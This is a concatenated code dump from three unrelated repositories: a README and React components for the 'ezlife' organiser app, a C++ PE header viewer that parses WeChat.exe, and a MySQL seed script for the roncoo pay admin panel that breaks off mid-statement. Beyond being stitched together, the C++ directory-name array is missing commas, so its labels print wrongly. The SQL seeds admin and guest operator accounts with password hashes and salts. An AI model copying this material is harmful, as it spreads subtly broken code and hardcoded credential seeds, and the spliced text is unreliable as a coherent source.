Style](#codestyle) * [Screenshots](#screenshots) * [Features](#features) * [Team](#team) * [Installation](#installation) * [How to Use](#howtouse) * [Troubleshooting](#troubleshooting) * [License](#license) ## Purpose/Vision Almost anyone can agree that getting your life organized can be a daunting task! There are so many things we are supposed to do and accomplish to be successful! Our app allows you to work towards your best self by tracking the things that matter to you, and making your life easier. Input your workouts, water intake, personal goals, and even write out your to-do list! And for some motivation, we provided you with some random quotes to boost your moral and get you going. The opportunities to become a better version of yourself are endless with ezlife. ## Code Style This app uses React and Material UI! ## Screenshots ![Screenshots](https://github.com/anthonyloredo5/ezlife/blob/main/client/assets/screenshot1.png?raw=true) ![Screenshots](https://github.com/anthonyloredo5/ezlife/blob/main/client/assets/screenshot2.png?raw=true) ## Features This app features a workout tracker, water intake tracker, todo list, timer, calendar, sign-in/out ## Team * <NAME> * <NAME> * <NAME> * <NAME> ## Installation * open the application in the terminal and run npm i in both the server and the client * run npm start * log in or sign up on the landing page * click on "get started" on the upper right corner * choose what you would like to display on your dashboard ## How To Use * Sign up for an account on the sign in page or visit the login page to log in. * Check the boxes for what you would like to display. * Open the drawer to see the different components available to you. * Start living your life, just a little bit "ez-er". ## Troubleshooting Please do not hesistate to contact us at *email* if you need assistance with this application! ## License * Copyright @ ezlife 2021<file_sep>import React, { useState } from 'react'; import { Avatar, Button, CssBaseline, TextField, FormControlLabel, Checkbox, Link, Grid, Box, Typography, Container } from '@material-ui/core'; import LockOutlinedIcon from '@material-ui/icons/LockOutlined'; import Copyright from './Copyright'; import axios from 'axios'; export default function Login() { const [items, setItems] = useState({ email: '', password: '' }); const handleState = (e) => { const { name, value } = e.target; setItems({ ...items, [name]: value, }); } const handleSubmit = (e) => { e.preventDefault(); const registeredUser = { email: items.email, password: <PASSWORD>, } // axios.get('http://localhost:5000/api/login', registeredUser) // .then((response) => { console.log(response.data) }) // .catch((err) => err.message); } return ( <Container component="main" maxWidth="xs"> <CssBaseline /> <div > <Avatar > <LockOutlinedIcon /> </Avatar> <Typography component="h1" variant="h5"> Log in </Typography> <form noValidate> <TextField variant="outlined" margin="normal" required fullWidth id="email" label="Email Address" name="email" autoComplete="email" autoFocus onChange={handleState} /> <TextField variant="outlined" margin="normal" required fullWidth name="password" label="<PASSWORD>" type="<PASSWORD>" id="password" autoComplete="<PASSWORD>" onChange={handleState} /> <FormControlLabel control={<Checkbox value="remember" color="primary" />} label="Remember me" /> <Button type="submit" fullWidth variant="contained" color="primary" onClick={handleSubmit} > Sign In </Button> <Grid container> <Grid item xs> <Link href="#" variant="body2"> Forgot password? </Link> </Grid> <Grid item> <Link href="#" variant="body2"> {"Don't have an account? Sign Up"} </Link> </Grid> </Grid> </form> </div> <Box mt={8}> <Copyright /> </Box> </Container> ); }<file_sep>import react from 'react'; import { Dialog, DialogTitle, DialogContent } from '@material-ui/core'; //code to beplaced in parent file where button is located //<PopUp // openPopup={openPopup} // setOpenPopup={setOpenPopup} //> //compenent to popup //<SignUp/> //</Popup> function PopUp(props) { const { title, children, openPopup, setOpenPopup} = props; <Dialog open={openPopup}> <DialogTitle> <div> title </div> </DialogTitle> <DialogContent> <div> content </div> </DialogContent> </Dialog> } export default PopUp;<file_sep>import * as React from 'react'; import Paper from '@material-ui/core/Paper'; import Button from '@material-ui/core/Button'; import './WaterIntake.css'; import { Chart, BarSeries, Title, ArgumentAxis, ValueAxis, } from '@devexpress/dx-react-chart-material-ui'; import { Animation } from '@devexpress/dx-react-chart'; const data = [ { day: 'Mon.', cup: 2 ,}, { day: 'Tues.', cup: 3 }, { day: 'Wed.', cup: 3.5 }, { day: 'Thur. ', cup: 1 }, { day: 'Fri.', cup: 6 }, { day: 'Sat.', cup: 4 }, { day: 'Sun.', cup: 6.7}, ]; export default class Demo extends React.PureComponent { constructor(props) { super(props); this.state = { data, }; } render() { const { data: chartData } = this.state; return ( <Paper style= {{ width: "299px", marginRight: "20px", boxShadow: "0 1px 4px rgba(0,0,0,0.30), 0 1px 4px rgba(0,0,0,0.22)", }}> <Chart data={chartData} style= {{width: "299px", marginRight: "20px"}} > <ArgumentAxis /> <ValueAxis max={10} /> <BarSeries valueField="cup" argumentField="day" /> <Title text="Water Intake" /> <Animation /> </Chart> <Button variant="contained" style={{ backgroundColor: "#42a5f5", justifyContent: "center", alignItems: "center", marginLeft: "85px", marginBottom: "5px" }} onClick={()=>{}}>Add Water</Button> </Paper> ); } }<file_sep>import React from "react"; import Container from "../components/Container"; import Jumbotron from "../components/Jumbotron"; import Hero from "../components/Hero"; import Drawer from '../components/Drawer'; import HomeWidget from '../components/HomeWidget'; import Quote from "../components/Quote"; import gradient from "../images/gradient.jpg" import ThemeContext from '../Context.js' import { Button, Modal, ModalHeader, ModalBody, ModalFooter } from 'reactstrap'; import UserWidgetSelect from "../components/UserWidgetSelect/UserWidgetSelect" import ModalWidget from '../components/ModalWidget'; import axios from 'axios'; import GridList from '@material-ui/core/GridList'; import Grid from '@material-ui/core/Grid'; import Paper from '@material-ui/core/Paper'; import Box from '@material-ui/core/Box'; import GoalChart from '../components/Widgets/GoalPieChart'; import WorkoutChart from '../components/Widgets/WorkoutGraph'; import ToDoList from '../components/Widgets/ToDo/Todo'; import Timer from '../components/Widgets/Timer/Timer'; import { UserContext } from "../utils/UserContext"; import { useHistory } from 'react-router-dom'; const { useContext, useState, useEffect } = React; function Dash() { const history = useHistory(); const [user, dispatch] = useContext(UserContext) console.log(user, 'should be user from log in') console.log(user.firstTime); const firstTime = user.firstTime; const [modal, setModal] = useState(false); useEffect(() => { fetch('api/users/user', { credentials: 'include' }) .then((res) => { console.log(`response to authenticate ${res}`); return res.json(res) }) .then(data => { console.log(data, 'user DATA'); dispatch({ type: "GET_USER", payload: data }) }) .catch((err) => { alert("Could not detect current user"); history.push("/") console.log('Error fetching authorized user.'); }); }, []); const getStarted = (e) => { e.preventDefault(); setModal(!modal) } console.log('modal state in dash baord!!', modal) return ( <div> <ModalWidget modal={modal} /> <Drawer getStarted={getStarted} /> <Hero backgroundImage={gradient} imageStyle={{ opacity: 0.5 }}> <Quote /> </Hero> <Container> {firstTime ? (null) : <HomeWidget />} </Container> </div> ); } export default Dash;
64ba5fcd0fe4ef6f470098b99ba1efbdccb40128
[ "JavaScript", "Markdown" ]
22
JavaScript
anthonyloredo5/ezlife
2da8976507983c01e53c168f9d1a60e3f5c9b910
161b72ccf21992854403c7cd7e8cd41738bfe846
refs/heads/master
<repo_name>Nightstars/pe_view<file_sep>/pe_view/pe_view.cpp // pe_view.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。 // #include <stdio.h> #include <windows.h> #pragma warning(disable:4996) IMAGE_DOS_HEADER myDosHeader; IMAGE_NT_HEADERS myNtHeader; IMAGE_FILE_HEADER myFileHeader; IMAGE_OPTIONAL_HEADER myOptionHeader; IMAGE_SECTION_HEADER* pmySectionHeader; long e_lfanew; int SectionCount; int Signature; int main(int argc, char* argv[]) { //打开PE文件 FILE* fp = fopen("F:/myprogram/WeChat/WeChat.exe", "rb"); if (fp == NULL) { printf(" File can not open!\n"); exit(0); } //DOS头 printf("================IMAGE_DOS_HEADER================\n"); fread(&myDosHeader, sizeof(IMAGE_DOS_HEADER), 1, fp); printf("WORD e_magic: %04X\n", myDosHeader.e_magic); printf("DWORD e_lfanew: %08X\n\n\n", myDosHeader.e_lfanew); e_lfanew = myDosHeader.e_lfanew; //NT头 printf("================IMAGE_NT_HEADER=================\n"); fseek(fp, e_lfanew, SEEK_SET); fread(&myNtHeader, sizeof(IMAGE_NT_HEADERS), 1, fp); Signature = myNtHeader.Signature; if (Signature != 0x4550) { printf(" This is not a PE file!\n"); exit(0); } printf("DWORD Signature: %08x\n\n\n", Signature); //FILE头 printf("================IMAGE_FILE_HEADER================\n"); fseek(fp, (e_lfanew + sizeof(DWORD)), SEEK_SET); fread(&myFileHeader, sizeof(IMAGE_FILE_HEADER), 1, fp); printf("WORD Machine: %04X\n", myFileHeader.Machine); printf("WORD NumberOfSections: %04X\n", myFileHeader.NumberOfSections); printf("DWORD TimeDateStamp: %08X\n", myFileHeader.TimeDateStamp); printf("DWORD PointerToSymbolTable: %08X\n", myFileHeader.PointerToSymbolTable); printf("DWORD NumberOfSymbols: %08X\n", myFileHeader.NumberOfSymbols); printf("WORD SizeOfOptionalHeader: %04X\n", myFileHeader.SizeOfOptionalHeader); printf("WORD Characteristics: %04X\n\n\n", myFileHeader.Characteristics); SectionCount = myFileHeader.NumberOfSections; //OPTIONAL头 printf("================IMAGE_OPTIONAL_HEADER=============\n"); fseek(fp, (e_lfanew + sizeof(DWORD) + sizeof(IMAGE_FILE_HEADER)), SEEK_SET); fread(&myOptionHeader, sizeof(IMAGE_OPTIONAL_HEADER), 1, fp); printf("WORD Magic: %04X\n", myOptionHeader.Magic); printf("BYTE MajorLinkerVersion: %02X\n", myOptionHeader.MajorLinkerVersion); printf("BYTE MinorLinkerVersion: %02X\n", myOptionHeader.MinorLinkerVersion); printf("DWORD SizeOfCode: %08X\n", myOptionHeader.SizeOfCode); printf("DWORD SizeOfInitializedData: %08X\n", myOptionHeader.SizeOfInitializedData); printf("DWORD SizeOfUninitializedData: %08X\n", myOptionHeader.SizeOfUninitializedData); printf("DWORD AddressOfEntryPoint: %08X\n", myOptionHeader.AddressOfEntryPoint); printf("DWORD BaseOfCode: %08X\n", myOptionHeader.BaseOfCode); //printf("DWORD BaseOfData: %08X\n", myOptionHeader.BaseOfData); printf("DWORD ImageBase: %08X\n", myOptionHeader.ImageBase); printf("DWORD SectionAlignment: %08X\n", myOptionHeader.SectionAlignment); printf("DWORD FileAlignment: %08X\n", myOptionHeader.FileAlignment); printf("WORD MajorOperatingSystemVersion: %04X\n", myOptionHeader.MajorOperatingSystemVersion); printf("WORD MinorOperatingSystemVersion: %04X\n", myOptionHeader.MinorOperatingSystemVersion); printf("WORD MajorImageVersion: %04X\n", myOptionHeader.MajorImageVersion); printf("WORD MinorImageVersion: %04X\n", myOptionHeader.MinorImageVersion); printf("WORD MajorSubsystemVersion: %04X\n", myOptionHeader.MajorSubsystemVersion); printf("WORD MinorSubsystemVersion: %04X\n", myOptionHeader.MinorSubsystemVersion); printf("DWORD Win32VersionValue: %08X\n", myOptionHeader.Win32VersionValue); printf("DWORD SizeOfImage: %08X\n", myOptionHeader.SizeOfImage); printf("DWORD SizeOfHeaders: %08X\n", myOptionHeader.SizeOfHeaders); printf("DWORD CheckSum: %08X\n", myOptionHeader.CheckSum); printf("WORD Subsystem: %04X\n", myOptionHeader.Subsystem); printf("WORD DllCharacteristics: %04X\n", myOptionHeader.DllCharacteristics); printf("DWORD SizeOfStackReserve: %08X\n", myOptionHeader.SizeOfStackReserve); printf("DWORD SizeOfStackCommit: %08X\n", myOptionHeader.SizeOfStackCommit); printf("DWORD SizeOfHeapReserve: %08X\n", myOptionHeader.SizeOfHeapReserve); printf("DWORD SizeOfHeapCommit: %08X\n", myOptionHeader.SizeOfHeapCommit); printf("DWORD LoaderFlags: %08X\n", myOptionHeader.LoaderFlags); printf("DWORD NumberOfRvaAndSizes: %08X\n\n\n", myOptionHeader.NumberOfRvaAndSizes); //Directories printf("=================IMAGE_DATA_DIRECTORY==============\n\n"); const char* dir[IMAGE_NUMBEROF_DIRECTORY_ENTRIES] = { "EXPORT Directory","IMPORT Directory","RESOURCE Directory" "EXCEPTION Directory","SECURITY Directory","BASERELOC Directory" "DEBUG Directory","COPYRIGHT Directory","GLOBALPTR Directory" "TLS Directory","LOAD_CONFIG Directory","BOUND_IMPORT Directory" "IAT Directory","" }; for (int i = 0; i < IMAGE_NUMBEROF_DIRECTORY_ENTRIES; i++) { printf("=================%s==============\n", dir[i]); printf("DWORD VirtualAddress: %08X\n", myOptionHeader.DataDirectory[i].VirtualAddress); printf("DWORD Size: %08X\n", myOptionHeader.DataDirectory[i].Size); } printf("\n\n"); //节表 printf("================IMAGE_SECTION_DIRECTORY=============\n"); pmySectionHeader = (IMAGE_SECTION_HEADER*)calloc(SectionCount, sizeof(IMAGE_SECTION_HEADER)); fseek(fp, (e_lfanew + sizeof(IMAGE_NT_HEADERS)), SEEK_SET); fread(pmySectionHeader, sizeof(IMAGE_SECTION_HEADER), SectionCount, fp); for (int i = 0; i < SectionCount; i++, pmySectionHeader++) { printf("BYTE Name: %s\n", pmySectionHeader->Name); printf("DWORD PhysicalAddress %08X\n", pmySectionHeader->Misc.PhysicalAddress); printf("DWORD VirtualSize %08X\n", pmySectionHeader->Misc.VirtualSize); printf("DWORD VirtualAddress %08X\n", pmySectionHeader->VirtualAddress); printf("DWORD SizeOfRawData %08X\n", pmySectionHeader->SizeOfRawData); printf("DWORD PointerToRawData %08X\n", pmySectionHeader->PointerToRawData); printf("DWORD PointerToRelocations %08X\n", pmySectionHeader->PointerToRelocations); printf("DWORD PointerToLinenumbers %08X\n", pmySectionHeader->PointerToLinenumbers); printf("WORD NumberOfRelocations %04X\n", pmySectionHeader->NumberOfRelocations); printf("WORD NumberOfLinenumbers %04X\n", pmySectionHeader->NumberOfLinenumbers); printf("DWORD Characteristics %08X\n\n", pmySectionHeader->Characteristics); } if (pmySectionHeader != NULL) { pmySectionHeader = NULL; } fclose(fp); getchar(); return 0; } // 运行程序: Ctrl + F5 或调试 >“开始执行(不调试)”菜单 // 调试程序: F5 或调试 >“开始调试”菜单 // 入门使用技巧: // 1. 使用解决方案资源管理器窗口添加/管理文件 // 2. 使用团队资源管理器窗口连接到源代码管理 // 3. 使用输出窗口查看生成输出和其他消息 // 4. 使用错误列表窗口查看错误 // 5. 转到“项目”>“添加新项”以创建新的代码文件,或转到“项目”>“添加现有项”以将现有代码文件添加到项目 // 6. 将来,若要再次打开此项目,请转到“文件”>“打开”>“项目”并选择 .sln 文件
26b145a55e5896f93357115670be447e350ad256
[ "C++" ]
1
C++
Nightstars/pe_view
f1900edc89779b2fd75c0683d1feae711362026c
765c63018c23a221104de6457017fb4c0b313129
refs/heads/master
<repo_name>DinnerPig/roncoo-pay<file_sep>/roncoo_mini_pay_dev.sql /* Navicat MySQL Data Transfer Source Server : local-db Source Server Version : 50624 Source Host : localhost:3306 Source Database : roncoo_mini_pay_dev Target Server Type : MYSQL Target Server Version : 50624 File Encoding : 65001 Date: 2017-05-08 20:31:25 */ SET FOREIGN_KEY_CHECKS=0; -- ---------------------------- -- Table structure for pms_menu -- ---------------------------- DROP TABLE IF EXISTS `pms_menu`; CREATE TABLE `pms_menu` ( `id` bigint(20) NOT NULL AUTO_INCREMENT, `version` bigint(20) NOT NULL, `creater` varchar(50) NOT NULL COMMENT '创建人', `create_time` datetime NOT NULL COMMENT '创建时间', `editor` varchar(50) DEFAULT NULL COMMENT '修改人', `edit_time` datetime DEFAULT NULL COMMENT '修改时间', `status` varchar(20) NOT NULL, `remark` varchar(300) DEFAULT NULL, `is_leaf` varchar(20) DEFAULT NULL, `level` smallint(6) DEFAULT NULL, `parent_id` bigint(20) NOT NULL, `target_name` varchar(100) DEFAULT NULL, `number` varchar(20) DEFAULT NULL, `name` varchar(100) DEFAULT NULL, `url` varchar(100) DEFAULT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB AUTO_INCREMENT=1000 DEFAULT CHARSET=utf8 COMMENT='菜单表'; -- ---------------------------- -- Records of pms_menu -- ---------------------------- INSERT INTO `pms_menu` VALUES ('1', '0', 'roncoo', '2016-06-03 11:07:43', 'admin', '2016-06-03 11:07:43', 'ACTIVE', '', 'NO', '1', '0', '#', '001', '权限管理', '##'); INSERT INTO `pms_menu` VALUES ('2', '0', 'roncoo', '2016-06-03 11:07:43', 'admin', '2016-06-03 11:07:43', 'ACTIVE', '', 'YES', '2', '1', 'cdgl', '00101', '菜单管理', 'pms/menu/list'); INSERT INTO `pms_menu` VALUES ('3', '0', 'roncoo', '2016-06-03 11:07:43', 'admin', '2016-06-03 11:07:43', 'ACTIVE', '', 'YES', '2', '1', 'qxgl', '00102', '权限管理', 'pms/permission/list'); INSERT INTO `pms_menu` VALUES ('4', '0', 'roncoo', '2016-06-03 11:07:43', 'admin', '2016-06-03 11:07:43', 'ACTIVE', '', 'YES', '2', '1', 'jsgl', '00103', '角色管理', 'pms/role/list'); INSERT INTO `pms_menu` VALUES ('5', '0', 'roncoo', '2016-06-03 11:07:43', 'admin', '2016-06-03 11:07:43', 'ACTIVE', '', 'YES', '2', '1', 'czygl', '00104', '操作员管理', 'pms/operator/list'); INSERT INTO `pms_menu` VALUES ('10', '0', 'roncoo', '2016-06-03 11:07:43', 'admin', '2016-06-03 11:07:43', 'ACTIVE', '', 'NO', '1', '0', '#', '002', '账户管理', '##'); INSERT INTO `pms_menu` VALUES ('12', '0', 'roncoo', '2016-06-03 11:07:43', 'admin', '2016-06-03 11:07:43', 'ACTIVE', '', 'YES', '2', '10', 'zhxx', '00201', '账户信息', 'account/list'); INSERT INTO `pms_menu` VALUES ('13', '0', 'roncoo', '2016-06-03 11:07:43', 'admin', '2016-06-03 11:07:43', 'ACTIVE', '', 'YES', '2', '10', 'zhlsxx', '00202', '账户历史信息', 'account/historyList'); INSERT INTO `pms_menu` VALUES ('20', '0', 'roncoo', '2016-06-03 11:07:43', 'admin', '2016-06-03 11:07:43', 'ACTIVE', '', 'NO', '1', '0', '#', '003', '用户管理', '##'); INSERT INTO `pms_menu` VALUES ('22', '0', 'roncoo', '2016-06-03 11:07:43', 'admin', '2016-06-03 11:07:43', 'ACTIVE', '', 'YES', '2', '20', 'yhxx', '00301', '用户信息', 'user/info/list'); INSERT INTO `pms_menu` VALUES ('30', '0', 'roncoo', '2016-06-03 11:07:43', 'admin', '2016-06-03 11:07:43', 'ACTIVE', '', 'NO', '1', '0', '#', '004', '支付管理', '##'); INSERT INTO `pms_menu` VALUES ('32', '0', 'roncoo', '2016-06-03 11:07:43', 'admin', '2016-06-03 11:07:43', 'ACTIVE', '', 'YES', '2', '30', 'zfcpgl', '00401', '支付产品信息', 'pay/product/list'); INSERT INTO `pms_menu` VALUES ('33', '0', 'roncoo', '2016-06-03 11:07:43', 'admin', '2016-06-03 11:07:43', 'ACTIVE', '', 'YES', '2', '30', 'yhzfpz', '00402', '用户支付配置', 'pay/config/list'); INSERT INTO `pms_menu` VALUES ('40', '0', 'roncoo', '2016-06-03 11:07:43', 'admin', '2016-06-03 11:07:43', 'ACTIVE', '', 'NO', '1', '0', '#', '005', '交易管理', '##'); INSERT INTO `pms_menu` VALUES ('42', '0', 'roncoo', '2016-06-03 11:07:43', 'admin', '2016-06-03 11:07:43', 'ACTIVE', '', 'YES', '2', '40', 'zfddgl', '00501', '支付订单管理', 'trade/listPaymentOrder'); INSERT INTO `pms_menu` VALUES ('43', '0', 'roncoo', '2016-06-03 11:07:43', 'admin', '2016-06-03 11:07:43', 'ACTIVE', '', 'YES', '2', '40', 'zfjjgl', '00502', '支付记录管理', 'trade/listPaymentRecord'); INSERT INTO `pms_menu` VALUES ('50', '0', 'roncoo', '2016-06-03 11:07:43', 'admin', '2016-06-03 11:07:43', 'ACTIVE', '', 'NO', '1', '0', '#', '006', '结算管理', '##'); INSERT INTO `pms_menu` VALUES ('52', '0', 'roncoo', '2016-06-03 11:07:43', 'admin', '2016-06-03 11:07:43', 'ACTIVE', '', 'YES', '2', '50', 'jsjlgl', '00601', '结算记录管理', 'sett/list'); INSERT INTO `pms_menu` VALUES ('60', '0', 'roncoo', '2016-06-03 11:07:43', 'admin', '2016-06-03 11:07:43', 'ACTIVE', '', 'NO', '1', '0', '#', '007', '对账管理', '##'); INSERT INTO `pms_menu` VALUES ('62', '0', 'roncoo', '2016-06-03 11:07:43', 'admin', '2016-06-03 11:07:43', 'ACTIVE', '', 'YES', '2', '60', 'dzcclb', '00701', '对账差错列表', 'reconciliation/list/mistake'); INSERT INTO `pms_menu` VALUES ('63', '0', 'roncoo', '2016-06-03 11:07:43', 'admin', '2016-06-03 11:07:43', 'ACTIVE', '', 'YES', '2', '60', 'dzpclb', '00702', '对账批次列表', 'reconciliation/list/checkbatch'); INSERT INTO `pms_menu` VALUES ('64', '0', 'roncoo', '2016-06-03 11:07:43', 'admin', '2016-06-03 11:07:43', 'ACTIVE', '', 'YES', '2', '60', 'dzhcclb', '00703', '对账缓冲池列表', 'reconciliation/list/scratchPool'); -- ---------------------------- -- Table structure for pms_menu_role -- ---------------------------- DROP TABLE IF EXISTS `pms_menu_role`; CREATE TABLE `pms_menu_role` ( `id` bigint(20) NOT NULL AUTO_INCREMENT COMMENT '主键', `version` bigint(20) DEFAULT NULL, `creater` varchar(50) DEFAULT NULL COMMENT '创建人', `create_time` datetime DEFAULT NULL COMMENT '创建时间', `editor` varchar(50) DEFAULT NULL COMMENT '修改人', `edit_time` datetime DEFAULT NULL COMMENT '修改时间', `status` varchar(20) DEFAULT NULL, `remark` varchar(300) DEFAULT NULL, `role_id` bigint(20) NOT NULL, `menu_id` bigint(20) NOT NULL, PRIMARY KEY (`id`), KEY `ak_key_2` (`role_id`,`menu_id`) ) ENGINE=InnoDB AUTO_INCREMENT=1062 DEFAULT CHARSET=utf8 COMMENT='权限与角色关联表'; -- ---------------------------- -- Records of pms_menu_role -- ---------------------------- INSERT INTO `pms_menu_role` VALUES ('1000', null, null, null, null, null, null, null, '1', '1'); INSERT INTO `pms_menu_role` VALUES ('1001', null, null, null, null, null, null, null, '1', '2'); INSERT INTO `pms_menu_role` VALUES ('1002', null, null, null, null, null, null, null, '1', '3'); INSERT INTO `pms_menu_role` VALUES ('1003', null, null, null, null, null, null, null, '1', '4'); INSERT INTO `pms_menu_role` VALUES ('1004', null, null, null, null, null, null, null, '1', '5'); INSERT INTO `pms_menu_role` VALUES ('1005', null, null, null, null, null, null, null, '1', '10'); INSERT INTO `pms_menu_role` VALUES ('1006', null, null, null, null, null, null, null, '1', '12'); INSERT INTO `pms_menu_role` VALUES ('1007', null, null, null, null, null, null, null, '1', '13'); INSERT INTO `pms_menu_role` VALUES ('1008', null, null, null, null, null, null, null, '1', '20'); INSERT INTO `pms_menu_role` VALUES ('1009', null, null, null, null, null, null, null, '1', '22'); INSERT INTO `pms_menu_role` VALUES ('1010', null, null, null, null, null, null, null, '1', '30'); INSERT INTO `pms_menu_role` VALUES ('1011', null, null, null, null, null, null, null, '1', '32'); INSERT INTO `pms_menu_role` VALUES ('1012', null, null, null, null, null, null, null, '1', '33'); INSERT INTO `pms_menu_role` VALUES ('1013', null, null, null, null, null, null, null, '1', '40'); INSERT INTO `pms_menu_role` VALUES ('1014', null, null, null, null, null, null, null, '1', '42'); INSERT INTO `pms_menu_role` VALUES ('1015', null, null, null, null, null, null, null, '1', '43'); INSERT INTO `pms_menu_role` VALUES ('1016', null, null, null, null, null, null, null, '1', '50'); INSERT INTO `pms_menu_role` VALUES ('1017', null, null, null, null, null, null, null, '1', '52'); INSERT INTO `pms_menu_role` VALUES ('1018', null, null, null, null, null, null, null, '1', '60'); INSERT INTO `pms_menu_role` VALUES ('1019', null, null, null, null, null, null, null, '1', '62'); INSERT INTO `pms_menu_role` VALUES ('1020', null, null, null, null, null, null, null, '1', '63'); INSERT INTO `pms_menu_role` VALUES ('1021', null, null, null, null, null, null, null, '1', '64'); INSERT INTO `pms_menu_role` VALUES ('1031', null, null, null, null, null, null, null, '2', '1'); INSERT INTO `pms_menu_role` VALUES ('1032', null, null, null, null, null, null, null, '2', '2'); INSERT INTO `pms_menu_role` VALUES ('1033', null, null, null, null, null, null, null, '2', '3'); INSERT INTO `pms_menu_role` VALUES ('1034', null, null, null, null, null, null, null, '2', '4'); INSERT INTO `pms_menu_role` VALUES ('1035', null, null, null, null, null, null, null, '2', '5'); INSERT INTO `pms_menu_role` VALUES ('1036', null, null, null, null, null, null, null, '2', '10'); INSERT INTO `pms_menu_role` VALUES ('1037', null, null, null, null, null, null, null, '2', '12'); INSERT INTO `pms_menu_role` VALUES ('1038', null, null, null, null, null, null, null, '2', '13'); INSERT INTO `pms_menu_role` VALUES ('1039', null, null, null, null, null, null, null, '2', '20'); INSERT INTO `pms_menu_role` VALUES ('1040', null, null, null, null, null, null, null, '2', '22'); INSERT INTO `pms_menu_role` VALUES ('1041', null, null, null, null, null, null, null, '2', '30'); INSERT INTO `pms_menu_role` VALUES ('1042', null, null, null, null, null, null, null, '2', '32'); INSERT INTO `pms_menu_role` VALUES ('1043', null, null, null, null, null, null, null, '2', '33'); INSERT INTO `pms_menu_role` VALUES ('1044', null, null, null, null, null, null, null, '2', '40'); INSERT INTO `pms_menu_role` VALUES ('1045', null, null, null, null, null, null, null, '2', '42'); INSERT INTO `pms_menu_role` VALUES ('1046', null, null, null, null, null, null, null, '2', '43'); INSERT INTO `pms_menu_role` VALUES ('1047', null, null, null, null, null, null, null, '2', '50'); INSERT INTO `pms_menu_role` VALUES ('1048', null, null, null, null, null, null, null, '2', '52'); INSERT INTO `pms_menu_role` VALUES ('1049', null, null, null, null, null, null, null, '2', '60'); INSERT INTO `pms_menu_role` VALUES ('1050', null, null, null, null, null, null, null, '2', '62'); INSERT INTO `pms_menu_role` VALUES ('1051', null, null, null, null, null, null, null, '2', '63'); INSERT INTO `pms_menu_role` VALUES ('1052', null, null, null, null, null, null, null, '2', '64'); -- ---------------------------- -- Table structure for pms_operator -- ---------------------------- DROP TABLE IF EXISTS `pms_operator`; CREATE TABLE `pms_operator` ( `id` bigint(20) NOT NULL AUTO_INCREMENT COMMENT '主键', `version` bigint(20) NOT NULL, `creater` varchar(50) NOT NULL COMMENT '创建人', `create_time` datetime NOT NULL COMMENT '创建时间', `editor` varchar(50) DEFAULT NULL COMMENT '修改人', `edit_time` datetime DEFAULT NULL COMMENT '修改时间', `status` varchar(20) NOT NULL, `remark` varchar(300) DEFAULT NULL, `real_name` varchar(50) NOT NULL, `mobile_no` varchar(15) NOT NULL, `login_name` varchar(50) NOT NULL, `login_pwd` varchar(256) NOT NULL, `type` varchar(20) NOT NULL, `salt` varchar(50) NOT NULL, PRIMARY KEY (`id`), KEY `ak_key_2` (`login_name`) ) ENGINE=InnoDB AUTO_INCREMENT=1000 DEFAULT CHARSET=utf8 COMMENT='操作员表'; -- ---------------------------- -- Records of pms_operator -- ---------------------------- INSERT INTO `pms_operator` VALUES ('1', '0', 'roncoo', '2016-06-03 11:07:43', 'admin', '2016-06-03 11:07:43', 'ACTIVE', '超级管理员', '超级管理员', '18620936193', 'admin', 'd3c59d25033dbf980d29554025c23a75', 'ADMIN', '8d78869f470951332959580424d4bf4f'); INSERT INTO `pms_operator` VALUES ('2', '0', 'roncoo', '2016-06-03 11:07:43', 'guest', '2016-06-03 11:07:43', 'ACTIVE', '游客', '游客', '18926215592', 'guest', '3f0dbf580ee39ec03b632cb33935a363', 'USER', '183d9f2f0f2ce760e98427a5603d1c73'); -- ---------------------------- -- Table structure for pms_operator_log -- ---------------------------- DROP TABLE IF EXISTS `pms_operator_log`; CREATE TABLE `pms_operator_log` ( `id` bigint(20) NOT NULL AUTO_INCREMENT COMMENT '主键', `version` bigint(20) NOT NULL, `creater` varchar(50) NOT NULL COMMENT '创建人', `create_time` datetime NOT NULL COMMENT '创建时间', `editor` varchar(50) DEFAULT NULL COMMENT '修改人', `edit_time` datetime DEFAULT NULL COMMENT '修改时间', `status` varchar(20) NOT NULL, `remark` varchar(300) DEFAULT NULL, `operator_id` bigint(20) NOT NULL, `operator_name` varchar(50) NOT NULL, `operate_type` varchar(50) NOT NULL COMMENT '操作类型(1:增加,2:修改,3:删除,4:查询)', `ip` varchar(100) NOT NULL, `content` varchar(3000) DEFAULT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB AUTO_INCREMENT=1000 DEFAULT CHARSET=utf8 COMMENT='权限_操作员操作日志表'; -- ---------------------------- -- Records of pms_operator_log -- ---------------------------- -- ---------------------------- -- Table structure for pms_permission -- ---------------------------- DROP TABLE IF EXISTS `pms_permission`; CREATE TABLE `pms_permission` ( `id` bigint(20) NOT NULL AUTO_INCREMENT COMMENT '主键', `version` bigint(20) NOT NULL, `creater` varchar(50) NOT NULL COMMENT '创建人', `create_time` datetime NOT NULL COMMENT '创建时间', `editor` varchar(50) DEFAULT NULL COMMENT '修改人', `edit_time` datetime DEFAULT NULL COMMENT '修改时间', `status` varchar(20) NOT NULL, `remark` varchar(300) DEFAULT NULL, `permission_name` varchar(100) NOT NULL, `permission` varchar(100) NOT NULL, PRIMARY KEY (`id`), KEY `ak_key_2` (`permission`), KEY `ak_key_3` (`permission_name`) ) ENGINE=InnoDB AUTO_INCREMENT=1000 DEFAULT CHARSET=utf8 COMMENT='权限表'; -- ---------------------------- -- Records of pms_permission -- ---------------------------- INSERT INTO `pms_permission` VALUES ('1', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '权限管理-菜单-查看', '权限管理-菜单-查看', 'pms:menu:view'); INSERT INTO `pms_permission` VALUES ('2', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '权限管理-菜单-添加', '权限管理-菜单-添加', 'pms:menu:add'); INSERT INTO `pms_permission` VALUES ('3', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '权限管理-菜单-查看', '权限管理-菜单-修改', 'pms:menu:edit'); INSERT INTO `pms_permission` VALUES ('4', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '权限管理-菜单-删除', '权限管理-菜单-删除', 'pms:menu:delete'); INSERT INTO `pms_permission` VALUES ('11', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 11:07:43', 'ACTIVE', '权限管理-权限-查看', '权限管理-权限-查看', 'pms:permission:view'); INSERT INTO `pms_permission` VALUES ('12', '0', 'roncoo', '2016-06-03 11:07:43', 'test', '2016-06-03 